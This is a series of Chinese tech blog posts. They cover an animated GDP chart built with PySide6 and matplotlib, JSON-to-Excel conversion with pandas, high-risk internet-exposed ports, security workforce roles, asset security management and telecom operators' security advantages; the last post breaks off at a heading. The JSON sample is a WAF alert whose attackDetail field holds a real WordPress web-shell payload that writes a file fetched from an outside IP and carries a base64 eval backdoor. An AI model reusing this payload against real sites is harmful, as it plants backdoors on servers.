我们要将这种趋势通过动态的方式展示出来。

三、数据展示与动态更新

首先通过QMainWindw定义QWidget组件,在QWidget中加入FigureCanvasQTAgg组件通过canvas载入matplotlib绘图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
class ApplicationWindow(QMainWindow):

def __init__(self, parent=None,org_data=None):
QMainWindow.__init__(self, parent)
self.axes = None
self.axis_china=None
self.axis_us=None
self.datacount=10
self.org_data = org_data
self.auto_offset = 0
# Central widget
self._main = QWidget()
self.setCentralWidget(self._main)
# Figure
self.canvas = FigureCanvasQTAgg(figure)
if len(self.org_data) > 0:
show_data = self.org_data[0:self.datacount]
self.axes = self.canvas.figure.subplots()
self.axes.set_title('中美GDP对比')
self.axis_china = self.axes.plot(show_data['年份'], show_data['china_gdp_value'], label='中国GDP')
self.axis_us = self.axes.plot(show_data['年份'], show_data['us_gdp_value'], label='美国GDP')
y_max = max(self.org_data['us_gdp_value'].max(), self.org_data['china_gdp_value'].max())
self.axes.set_ylabel('GDP(亿元)')
self.axes.set_xlabel('年份')
self.axes.set_ylim(0, y_max)
self.axes.set_xlim(show_data['年份'].min(), show_data['年份'].max())
self.axes.legend(loc="upper left")
self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000))
self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1))
figure.tight_layout() # 自动调整子图参数,使之填充整个图像区域
# 下拉框,选择模式 # ComboBox (combo_type)
self.combo_type = QComboBox()
self.combo_type.addItems(['自动播放', '手动播放'])
# Sliders
min_value = 0
self.max_value = len(self.org_data)-cur_data_len
self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条
layout1 = QHBoxLayout()
layout1.addWidget(self.combo_type)
# layout
layout2 = QVBoxLayout()
layout2.addWidget(self.canvas, 88)
layout2.addWidget(self.slider_update)
# Main layout
layout = QVBoxLayout(self._main)
layout.addLayout(layout1)
layout.addLayout(layout2, 100)
self.canvas.draw()
# Signal and Slots connections
self.combo_type.currentTextChanged.connect(self.selecttype)
self.slider_update.valueChanged.connect(self.update_frequency)
self.autoslider()

一种方式是通过QSlider组件,通过手动拉slider组件来实现数据的变化,一种通过QTimer组件自动让数据变化。

1、QSlider组件,手动方式实现动态绘图

1
2
3
4
5
6
7
8
9
10
11
12
13
@Slot()
def update_frequency(self, new_val):
# 偏移量每次偏移1
f = int(new_val)
offset = f + cur_data_len # 偏移刻度
show_data = self.org_data[f: offset]
x = show_data['年份']
y_china = show_data['china_gdp_value']
y_us = show_data['us_gdp_value']
self.axes.set_xlim(x.min(), x.max())
self.axis_china[0].set_data(x, y_china)
self.axis_us[0].set_data(x, y_us)
self.canvas.draw()

手动拉slider组件来实现数据的变化效果:
手动数据变化

2、QTimer组件,自动动态绘图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    self.autoslider()

def autoslider(self):
self.timer = QTimer()
self.timer.setInterval(100) # 100毫秒更新一次数据
self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1,也就是跳一年的数据
self.timer.start()

def autoupdate(self):
self.update_frequency(self.auto_offset)
self.slider_update.setSliderPosition(self.auto_offset)
if self.auto_offset < self.max_value:
self.auto_offset = self.auto_offset+1
else:
self.auto_offset = 0

效果如文章最前面所示。

四、完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import re
import sys
import pandas as pd
import locale
import matplotlib.ticker as mticker
from PySide6.QtCore import Qt, Slot, QTimer
from PySide6.QtWidgets import QMainWindow, QApplication, QVBoxLayout, QHBoxLayout, QWidget, QSlider, QComboBox
from matplotlib.backends.backend_qtagg import FigureCanvasQTAgg
from matplotlib.figure import Figure

figure = Figure(figsize=(12, 6), dpi=90)

global cur_data_len, cur_major_locator
cur_data_len = 10 # 当前显示的数据量(显示10年的数据)
cur_major_locator = 10 # 当前刻度的定位器(主刻度)

pattern = re.compile('\((\S*)\)')

def getgdpvalue(gdpstr):
re_obj=pattern.search(gdpstr)
gdp_value=locale.atof(re_obj.group(1))/100000000
return gdp_value

class ApplicationWindow(QMainWindow):

def __init__(self, parent=None,org_data=None):
QMainWindow.__init__(self, parent)
self.axes = None
self.axis_china=None
self.axis_us=None
self.datacount=10
self.org_data = org_data
self.auto_offset = 0
# Central widget
self._main = QWidget()
self.setCentralWidget(self._main)
# Figure
self.canvas = FigureCanvasQTAgg(figure)
if len(self.org_data) > 0:
show_data = self.org_data[0:self.datacount]
self.axes = self.canvas.figure.subplots()
self.axes.set_title('中美GDP对比')
self.axis_china = self.axes.plot(show_data['年份'], show_data['china_gdp_value'], label='中国GDP')
self.axis_us = self.axes.plot(show_data['年份'], show_data['us_gdp_value'], label='美国GDP')
y_max = max(self.org_data['us_gdp_value'].max(), self.org_data['china_gdp_value'].max())
self.axes.set_ylabel('GDP(亿元)')
self.axes.set_xlabel('年份')
self.axes.set_ylim(0, y_max)
self.axes.set_xlim(show_data['年份'].min(), show_data['年份'].max())
self.axes.legend(loc="upper left")
self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000))
self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1))
figure.tight_layout() # 自动调整子图参数,使之填充整个图像区域
# 下拉框,选择模式 # ComboBox (combo_type)
self.combo_type = QComboBox()
self.combo_type.addItems(['自动播放', '手动播放'])
# Sliders
min_value = 0
self.max_value = len(self.org_data)-cur_data_len
self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条
layout1 = QHBoxLayout()
layout1.addWidget(self.combo_type)
# layout
layout2 = QVBoxLayout()
layout2.addWidget(self.canvas, 88)
layout2.addWidget(self.slider_update)
# Main layout
layout = QVBoxLayout(self._main)
layout.addLayout(layout1)
layout.addLayout(layout2, 100)
self.canvas.draw()
# Signal and Slots connections
self.combo_type.currentTextChanged.connect(self.selecttype)
self.slider_update.valueChanged.connect(self.update_frequency)
self.autoslider()

def autoslider(self):
self.timer = QTimer()
self.timer.setInterval(100) # 100毫秒更新一次数据
self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1,也就是跳一年的数据
self.timer.start()

def autoupdate(self):
self.update_frequency(self.auto_offset)
self.slider_update.setSliderPosition(self.auto_offset)
if self.auto_offset < self.max_value:
self.auto_offset = self.auto_offset+1
else:
self.auto_offset = 0

@Slot()
def selecttype(self, text):
if '自动播放' == text:
self.autoslider()
elif '手动播放' == text:
self.timer.stop()

@Slot()
def update_frequency(self, new_val):
# 偏移量每次偏移1
f = int(new_val)
offset = f + cur_data_len # 偏移刻度
show_data = self.org_data[f: offset]
x = show_data['年份']
y_china = show_data['china_gdp_value']
y_us = show_data['us_gdp_value']
self.axes.set_xlim(x.min(), x.max())
self.axis_china[0].set_data(x, y_china)
self.axis_us[0].set_data(x, y_us)
self.canvas.draw()


if __name__ == "__main__":
app = QApplication(sys.argv)
locale.setlocale(locale.LC_ALL, 'en_US.UTF-8')
df_data = pd.read_excel('data\中国VS美国.xlsx')
df_data = df_data.loc[1:len(df_data)]
df_data['china_gdp_value'] = df_data['中国'].map(getgdpvalue)
df_data['us_gdp_value'] = df_data['美国'].map(getgdpvalue)
df_data = df_data.sort_values('年份')
w = ApplicationWindow(org_data=df_data)
w.setFixedSize(1000, 500)
w.show()
app.exec()

六、总结

Python实现matplotlib动态绘图,是非常简单和容易的,其实关键还是在数据的组织,也就是要准备好要绘图的坐标轴的x的数据和y的数据,通过set_data(x,y)来动态更新数据,要注意的是变化的数据后X轴或Y轴的显示要变化,这里可以通过轴的set_xlim()或set_ylim()方法来动态设置,刻度也可通过set_major_locator()来指定。

数据集见 https://xiejava1018.github.io/xiejavaimagesrc/images/2023/20230827/中国VS美国.xlsx


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Python三行代码实现json转Excel

发表于 2023-08-18 | 更新于: 2025-07-21 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 656 | 阅读时长 ≈ 3

最近重保,经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的,就需要将json转成Excel。
用Python将json转成excel也就三行代码的事,先将json串导入形成字典对象,再通过pandas转成DataFrame直接输出excel。
实现如下:

一、引包

引入pandas包,pandas写excel依赖openpyxl包所以也到导入

1
2
pip install pandas 
pip install openpyxl

二、代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import json
import pandas as pd
json_data=r'''
{
"msg": "",
"killChain": "02",
"attackIllustration": "1起恶意盲打木马写入攻击",
"traceSourceFlag": "01",
"riskLevel": "02",
"holeType": "",
"discoveryTime": "2023-08-15 14:36:23",
"disposalMeasure": "01",
"informationSource": "长亭WAF",
"disposalSuggestion": "建议封禁",
"riskLevelPredue": "",
"impactFlag": "02",
"disposalOperateRecord": "WAF封禁",
"serialNo": "ABC123",
"sourceIpBelong": "美国",
"potentialImpact": "无",
"sourceIpType": "04",
"protocalType": "HTTP",
"disposalFlag": "01",
"groupOrderType": "1",
"comment": "通过微步溯源,IP归属地是美国",
"attackDetail": "POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1\n\nHost: abcd.cn\n\nConnection: keep-alive\n\nAccept-Encoding: gzip, deflate\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n\nUser-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36\n\nAccept-Language: en-US,en;q=0.9,fr;q=0.8\n\nCache-Control: max-age=0\n\nreferer: www.google.com\n\nUpgrade-Insecure-Requests: 1\n\nContent-Length: 231\n\nContent-Type: application/x-www-form-urlencoded\n\n\n\nvz=$x=fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/colors/blue/uploader.php','w+'),file_get_contents('http://51.79.124.111/vz.txt'));echo+\"aDriv4\".$x;",
"taskId": "",
"status": ""
}'''
dic_data = json.loads(json_data,strict=False)
df_data=pd.DataFrame(dic_data,index=[0])
df_data.to_excel('attack.xlsx')

效果:
json转excel

三、注意事项

因为attackDetail字段有很多类似\n等的转义符,会导致json解析不成功,在json.loads的时候就会报错。报类似于
json.decoder.JSONDecodeError: Expecting ',' delimiter: line 50 column 149 (char 1339)的错误。所以需要在字符串前面加r标识来忽略掉转义机制。

常见的字符串标识u,r,b,f

  • 字符串前加u
    后面字符串以 Unicode格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。
  • 字符串前加r
    去掉反斜杠的转义机制。(特殊字符:即那些,反斜杠加上对应字母,表示对应的特殊含义的,比如最常见的”\n”表示换行,”\t”表示Tab等。 )
  • 字符串前加b
    b前缀表示:后面字符串是bytes 类型。
  • 字符串前加f
    以 f 开头表示在字符串内支持大括号内的python 表达式字符串拼接。
    如:
1
2
3
name='xiejava'
outputstr=f'My name is {name}'
print(outputstr)

输出结果为:

1
My name is xiejava

博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

网络安全之互联网暴露资产端口

发表于 2023-05-15 | 更新于: 2025-07-21 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 2.1k | 阅读时长 ≈ 7

互联网暴露资产因直接向公众互联网开放,极易遭受来自外部组织或人员的入侵与攻击,是风险管控的高危区域。

作为企业的安全管理,互联网暴露资产的管理是非常重要的一环。应该建立规范的流程严控互联网暴露端口的审批,对互联网暴露出口应尽量缩减收敛减少暴露面,对互联网暴露面进行定期的探测及时发现没有被纳管的暴露面资产,对因为业务需要必须要暴露的资产端口进行有效的访问控制策略等。

本文介绍互联网暴露资产端口的定义、分类及管理。

互联网暴露资产端口定义

互联网暴露端口指信息系统资产、网络设备或终端设备面向互联网开放服务或开放协议的端口(含 NAT 映射端口),该端口可被其他互联网的资产进行主动探测、访问或连接。当某资产至少具备一个互联网暴露端口时,则认定该资产为互联网暴露资产;当某信息系统内部至少具备一台互联网暴露资产时,则认定该信息系统为互联网暴露信息系统。
当互联网暴露资产同时面向内网(或私网)开放服务或开放协议时,相关端口不属于互联网暴露端口,不纳入互联网暴露端口管控范围;当某资产通过互联网主动发起单向通信时,因该资产用于通信服务的端口并未暴露于互联网,也无法被其他互联网资产主动探测、访问或连接,则认定该资产不属于互联网暴露资产,且不具备互联网暴露端口。
互联网暴露端口的判定,与该端口是否已执行访问控制策略不相关。

互联网暴露资产端口分类

互联网暴露资产(含信息系统、网络设备、终端)端口按照其功能用途,可分为业务类端口及管理类端口两大类:
1)业务类端口。具体可细分为以下三类:

  • 用户访问端口:主要指各类与用户侧交互的,支撑用户访问服务的端口,如 WEB 访问端口、视频流端口等。
  • 平台交互端口:系统内外部服务器间的接口交互、数据交互等服务端口。
  • 路由协议端口:常见于路由设备,用于配置路由协议而开放的端口服务,如 BGP边界网关协议端口、OSPF 开放式最短路径优先协议端口等。

2)管理类端口。主要包含实现远程操控管理、后台访问运维、用户数据收集及用户终端主动管控等服务的端口。

互联网暴露资产端口管理

  • 尽量缩减收敛减少暴露面,基于最小使用原则,对于高危风险端口应严禁对互联网开放,尤其是管理类端口如数据库、运维管理等端口。如mysql的3306端口、Redis的6379端口等。对于必须要暴露的资产端口进行有效管控,如:制定合理的访问控制策略、加强鉴权等。
  • 应该建立互联网暴露资产台账,规范的流程严控互联网暴露端口的审批,动态维护好互联网暴露资产台账。
  • 对互联网暴露面进行定期的探测及时发现没有被纳管的暴露面资产,对没有没纳管的暴露面资产进行纳管加强管控或下线,及时维护台账。

常见的高危风险端口

高危端口号(默认) 22(TCP)
协议或服务 SSH (Secure Shell),安全外壳协议
应用场景或应用组件 远程登录、SSH 端口转发
端口用途说明 SSH 协议的服务连接端口,可用于进行远程操作维护
端口类别 管理类端口
风险描述 弱口令、未授权访问、暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 23(TCP)
协议或服务 Telnet ( 远程终端协议)
应用场景或应用组件 远程登录
端口用途说明 Telnet 协议的服务连接端口,可用于进行远程操作维护
端口类别 管理类端口
风险描述 弱口令、未授权访问、暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 161(UDP)
协议或服务 SNMP(Simple Network Management Protocol,简单网络管理协议)
端口用途说明 可用于对网络设备进行远程信息读取、管理和配置
端口类别 管理类端口
风险描述 爆破默认团队字符串,导致信息泄漏
高危端口号(默认) 111(TCP/UDP)、2049(TCP/UDP)
协议或服务 NFS(Network File System),网络文件系统
端口用途说明 用于远程文件传输
端口类别 业务类端口(用户访问端口、平台交互端口)
风险描述 权限配置不当
高危端口号(默认) 3306(TCP)
协议或服务 MySQL(数据库)
端口用途说明 MySQL 是一款开源关系数据库管理系统。该端口端口用于数据库远程管理和连接
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 6379(TCP)
协议或服务 Redis(数据库)
端口用途说明 Redis 默认管理和服务端口
端口类别 管理类端口
风险描述 可能会存在未授权访问,或者进行弱口令爆破;获得访问权限后,可能存在任意文件写入导致获取系统远程控制权限。
高危端口号(默认) 27017(TCP)、27018(TCP)、27019(TCP)
协议或服务 MongoDB(数据库)
端口用途说明 用于 MongoDB 数据库的远程管理和服务,以及集群间通信
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 爆破,未授权访问
高危端口号(默认) 1433(TCP)、1434(UDP)
协议或服务 SQLServer(数据库)
端口用途说明 SQL Server 是 Microsoft 公司推出的关系型数据库管理系统。
1433(默认)端口用于数据库远程管理和连接,1434(默认)用于命名服务
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 提权,弱口令,爆破;早期版本还存在远程命令执行漏洞
高危端口号(默认) 1521(TCP)
协议或服务 Oracle(甲骨文数据库)
端口用途说明 Oracle 是甲骨文公司的一款关系数据库管理系统。该端口端口用于数据库远程管理和连接
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 5432(TCP)
协议或服务 PostgreSQL(数据库)
端口用途说明 PostgreSQL 是一款开源关系数据库管理系统。该端口用于数据库远程管理和连接
端口类别 管理类端口、业务类端口(平台交互端口)
风险描述 暴力破解、信息泄漏、远程命令执行
高危端口号(默认) 3389(TCP)
协议或服务 Windows RDP(远程桌面协议)
端口用途说明 用于访问服务器的远程桌面服务,提供基于图形界面的远程操作维护功能。
端口类别 管理类端口
风险描述 暴力破解,远程控制
高危端口号(默认) 5800(TCP),5900(TCP)
协议或服务 VNC(Virtual Network Console),虚拟网络控制台
端口用途说明 VNC 是一款远程桌面和远程控制软件,5800 和 5900(默认)端口均为 VNC 服务启动端口或远端控制端口
端口类别 管理类端口
风险描述 暴力破解,远程控制

博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

网络安全入行?来了解下网络安全从业人员类别及其工作任务

发表于 2023-04-27 | 更新于: 2025-07-21 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 1.9k | 阅读时长 ≈ 6

在这里插入图片描述

又到了每年重保期间,红蓝双方都开始进行准备蓄势待发,网络安全从业人员每年供不应求,尤其是重保期间,双方都在疯狂的招揽准备网络安全人员。那网络安全从业人员分类到底有哪些,都负责哪些具体的工作任务呢?

根据2023年最新发布的在今年10月1日即将实施的国标《GB T 42446-2023 信息安全技术 网络安全从业人员能力基本要求》的定义。
网络安全从业人员(cybersecurity workforce)是从事网络安全工作,承担相应网络安全职责,并且具有相应网络安全知识和技能的人员。
网络安全从业人员完成工作任务需要具备相应的能力。工作任务是指为了实现组织的相关目标,需要执行的网络安全有关的一个或一组工作活动或工作内容。
网络安全从业人员的工作类别包括:网络安全管理、网络安全建设、网络安全运营、网络安全审计和评估、网络安全科研教育。

网络安全从业人员的工作类别

网络安全管理

工作任务 工作任务描叙
网络安全需求分析 依据法律法规、政策标准及业务流程要求,开展符合性需求分析、业务所依赖的信息通信技术(ICT)持续运行需求分析、数据安全需求分析等,定期或在遇到重大网络安全事件时对组织网络安全需求进行复审。
网络安全规划和管理 指导、制定、监督和执行网络安全战略规划、策略制度和体制机制。综合协调相关人员,采取各类网络安全控制措施,降低并缓解系统安全风险。
网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节,采取措施保障网络数据安全。
个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节,采取措施保障个人信息安全。
密码技术应用 运用密码技术,进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。
网络安全咨询 根据组织的安全目标,提供安全规划、设计、实施、运维、管理等方面的政策法规和技术咨询服务。

网络安全建设

工作任务 工作任务描叙
网络安全需求分析 依据法律法规、政策标准及业务流程要求,开展符合性需求分析、业务所依赖的信息通信技术(ICT)持续运行需求分析、数据安全需求分析等,定期或在遇到重大网络安全事件时对组织网络安全需求进行复审。
网络安全架构设计 依据网络安全需求分析、ICT基础设施现状、组织环境和业务特点等,从物理环境、通信网络、计算环境、区域边界等方面进行网络安全架构设计,形成网络安全架构实施方案。
网络安全开发 实现软件、硬件安全架构及功能开发,并对其进行测试、更新和维护。
供应链安全管理 运用供应链安全管理的方法、工具和技术,控制供应链安全风险,管理供应商及网络安全和信息化相关产品和服务的釆购。
网络安全集成实施 网络安全项目管理,信息系统安全集成过程中软硬件设备与系统的安装、调试、测试、配置、故障处理和工程实施,以及配合验收交付。
网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节,采取措施保障网络数据安全。
个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节,采取措施保障个人信息安全。
密码技术应用 运用密码技术,进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。

网络安全运营

工作任务 工作任务描叙
网络安全运维 利用网络安全技术/工具,根据网络安全相关标准和制度流程,操作、运行、维护和管理信息系统。
网络安全监测和分析 利用相关技术、工具和情报信息等对目标系统进行安全监测、分析和预警,并提出应对威胁的措施和改进建议。
网络安全应急管理 组织编制网络安全事件应急预案,实施网络安全应急演练,在应对突发/重大网络安全事件时,采取必要的应急处置措施将信息系统和业务恢复到正常状 态,并进行事件溯源和调查取证。
网络数据安全保护 针对网络数据收集、存储、使用、加工、传输、提供、公开等环节,采取措施保障网络数据安全。
个人信息保护 针对个人信息收集、存储、使用、加工、传输、提供、公开、删除等环节,采取措施保障个人信息安全。
密码技术应用 运用密码技术,进行信息系统安全密码保障的架构设计、系统集成、检测评估、运维管理、密码咨询等。

网络安全审计和评估

工作任务 工作任务描叙
网络安全审计 依据审计依据,在规定的审计范围内,监督和评价网络安全控制措施的设计有效性和执行有效性.确定被审计对象满足审计依据的程度,并提出网络安全工作改进的意见和建议。
网络安全测试 对目标系统的脆弱性和防御机制有效性进行验证,发现安全问题并提出改进建议;根据测试依据,识别并测试系统和产品的安全性。
网络安全评估 评估信息系统、业务及相关网络数据等的符合性和面临的网络安全风险,对风险进行识别、分析、评价,提出改进建议。
网络安全认证 对网络安全管理体系、服务、产品等开展认证与审核。电子数据取证对电子数据进行提取、固定、恢复、分析等工作。

网络安全科研教育

工作任务 工作任务描叙
网络安全研究 研究网络空间安全涉及的学科理论基础和方法论,研究网络安全新兴技术及应用、产业发展趋势,以及网络安全法律法规、政策、标准等。
网络安全培训和评价 开展网络安全培训方案和相关课程的设计、开发和持续改进,实施授课等培训活动,开展评价活动,例如:理论知识考试、技能操作考核、业绩评审、竞赛、选拔等。

在重保期间,最火的就是网络安全运营及网络安全审计和评估人员,分别对应的是红队人员和蓝队人员。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

安全运营之资产安全信息管理

发表于 2023-04-18 | 更新于: 2025-07-21 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 1.9k | 阅读时长 ≈ 6

安全风险管理的三要素分别是资产、威胁和脆弱性,脆弱性的存在将会导致风险,而威胁主体利用脆弱性产生风险。网络攻击主要利用了系统的脆弱性。由于网络管理对象(资产)自身的脆弱性,使得威胁的发生成为可能,从而造成了不同的影响,形成了风险。“摸清家底,认清风险”做好资产安全信息管理是安全运营的第一步也是最重要的一步。

资产管理范围

《GBT 20984-2007信息安全技术信息安全风险评估规范》中,对于资产的定义为“对组织有价值的信息或资源,是安全策略保护的对象”。

对于网络空间资产来说,这里的资产是指赛博空间中某机构所拥有的一切可能被潜在攻击者利用的设备、信息、应用等数字资产。具体对象包括但不限于硬件设备、云主机、操作系统、IP地址、端口、证书、域名、Web应用、业务应用、中间件、框架、机构公众号、小程序、App、API、源代码等。概括来说,只要是可操作的对象,不管是实体还是属性。都可以称之为“网络空间资产”。所以对于企业来说这些资产安全信息都要做好管理。参考博文《网络安全之资产及攻击面管理》

在工信部《基础电信企业资产安全管理平台建设指南(试行)》稿中,提到资产安全管理平台对于IP化软硬件资产提供安全管理,其管理范围包括但不限于网络产品、安全产品、物联网设备、办公外设、企业应用、系统软件、支撑系统。资产安全信息应该覆盖到所有的IP化软硬件资产。

资产安全信息一般包括资产的基本属性(如:资产名称、类型、型号、厂商、IP地址、操作系统及其版本信息、端口、服务信息、中间件及其版本信息、程序应用框架及其版本信息、应用软件及其版本信息等)、资产的安全属性(如:安全等级等与网络安全脆弱性整治和威胁监测处置有关的信息等)、资产的管理属性(如:使用单位、责任人、联系电话等)、资产的业务属性(包括所属的业务系统、承载的业务等),应对资产安全信息实施全生命周期管理。

资产安全全生命周期管理

资产的全生命周期覆盖资产上线、资产运行、资产下线,在这过程中要对资产进行定级备案、对资产的台账进行维护、对资产进行风险评估、对资产进行定期的清查。
资产安全全生命周期管理

资产上线

企业应建立统一的资产安全信息管理平台。资产上线,应在资产投入使用前完成对企业信息资产纳管。主机、虚机资产安装资产采集 Agent,网络设备纳入专业网管系统管理,变更的资产信息每天向资产安全信息管理平台同步。

资产运行

资产运行环节是资产生命周期中最重要的环节。安全运营维护单位应建立所辖资产清单台账,应确保相关信息资产IP 地址和端口全量纳管,实现资产安全信息管理平台数据与资产实际情况相符。做好资产运行期的资产台账维护和更新、做好定级备案信息的维护和更新、定期开展资产的风险评估等。

资产下线

资产下线意味着资产的生命周期结束,安全运营维护单位应在资产退网后一定时期内( 如两周或15 日)内完成资产安全信息管理平台数据更新。

资产台账维护

安全运营维护单位应在资产上线前建立好资产台账并在投产前完成对企业信息资产在资产安全信息管理平台的纳管,在资产运行期定期维护台账信息如资产信息发生变化定期更新台账,资产下线推网后完成台账的删除及资产安全信息管理平台数据更新。资产台账维护的主要目的是要保障资产安全信息管理平台数据与资产实际情况相符。

资产定级备案

资产因为其业务属性的不一样,影响的业务也不一样。对于重点的业务系统应予以重点的关注和保护。对于大型关基企业应对资产根据其重要级别进行定级备案。根据级别的不同制定防护策略开展风险评估。一般来说由维护单位在资产的全生命周期内进行定级备案信息的维护和更新,如资产上线前进行定级备案,在系统资产发生变化或下线时进行定级备案信息的更新。安全运营支撑单位对定级备案信息开展技术复核后完成定级备案信息的提交。

资产风险评估

在资产上线前和资产承载的业务发生变化后都应该进行资产风险评估,并根据企业自身要求定期开展风险评估。根据资产定级备案的不同如三级及以上的网络设备和系统平台每年进行一次风险评估,二级网络设备和系统平台每两年进行一次风险评估。对于存在大量个人信息且暴露于互联网的网络设备和系统平台可以请具备资质的第三方单位开展风险评估。重大活动或重要保障前,开展专项风险评估等。

资产定期清查

资产清查,主要是定期对一些“三无”、“七边”的管理覆盖不到位或存在管理薄弱环节的资产进行清查。识别并推进“三无”资产下线(“三无”指“无人管理、无人使用、无人防护”),对“七边”系统进行规范管理(“七边”指测试系统、试验平台、退网未离网系统、工程已上线加载业务但未正式交维系统、与合作伙伴共同运营的业务或系统、责任交接不清的系统、处于衰退期的系统)。安全运营维护单位应配合开展资产清查和纳管,在“三无”资产回收过程中进行系统保障和应急响应。

做好资产安全信息管理是需要通过“技术”+“管理”手段相结合。技术方面企业可以根据自身需求建立资产安全管理平台、攻击面管理平台、互联网暴露面测绘平台,全面覆盖内外资产和互联网暴露面的资产管理;管理方面可以根据自身情况参考资产安全信息管理的全生命周期制定符合企业的资产安全信息管理制度。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

运营商在安全领域的优势分析

发表于 2023-04-11 | 更新于: 2025-07-21 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 1.5k | 阅读时长 ≈ 5

网络安全

背景

近年来,中美贸易摩擦加剧,国际争端凸显,国家高度重视网络安全的建设,网络安全已上升及国家战略层面,网络空间作为“第五疆域”受到极大重视。个人与企业对于网络安全的需求不断增加,中国网络安全市场也随之发展。

政策支持,网络安全需求不断增加

近年来,网络安全被提升到国家战略高度,正在加快推进网络安全技术自主创新,朝着建设网络强国目标不懈努力。2014年以来先后设立中国安全委员会、中央网络安全和信息化委员会,发布了《国家安全法》、《中华人民共和国网络安全法》、《国家网络空间安全战略》、《网络空间国际合作战略》、《中华人民共和国数据安全法》等多项鼓励行业发展的法规和政策。这些法规政策规范了网络信息安全行业,为网络安全行业发展营造了良好的环境。

信息化水平、云计算、大数据、5G、物联网水平提升,网络安全对产业及业态提出新要求

近年来,中国信息化水平不断攀升:云计算的进步带动计算能力和数据的集中;大数据的出现带来数据收集、处理、分析业态的革新;5G网络加速了网络数据处理速度;随着“云+5G”的共同催化,联网设备将呈现指数级增长,中国网络安全行业未来将布局更多的应用领域。
同时,以上科技进步也引发了新的网络安全问题,对网络安全行业提出新要求,数据的产生流通和应用更加普遍化和密集化,使网络安全的防范更加复杂,对网络安全提出更高的挑战。
2019年9月27日工信部公开征求对《关于促进网络安全产业发展的指导意见(征求意见稿)》的意见,征求意见稿中提出,到2025年,培育形成一批年营收超过20亿的网络安全企业,形成若干具有国际竞争力的网络安全骨干企业,网络安全产业规模超过2000亿。

在此背景下大型国有企业尤其是电信运营商纷纷布局网络安全。如中国移动收购启明星辰、中国电信组建专门的网络与信息安全研究院成立成立天翼安全科技有限公司、联通成立一家专注于网络安全服务的新公司计划将信息安全业务打造成创新业务发展的主要增长点。

优势分析

那么运营商在安全领域发展都会有哪些优势呢?

一、网络优势

电信运营商,作为国家网络基础设施的建设者和运营者,具备强大的网络优势。在工信部《关于促进网络安全产业发展的指导意见(征求意见稿)》明确提出鼓励基础电信企业和云服务提供商发挥网络资源优势,面向客户提供网络安全监测预警、攻击防护、应急保障等增值服务。

二、数据优势

运营商有大网的数据优势,如:DDOS异常流量监测数据、IDC/ISP数据、僵木蠕恶意程序数据、互联网暴露资产数据等,通过整合电信运营商大网数据能力,汇聚各类安全数据资源,结合大网威胁情报信息,能够更好的赋能安全产品。

三、产品优势

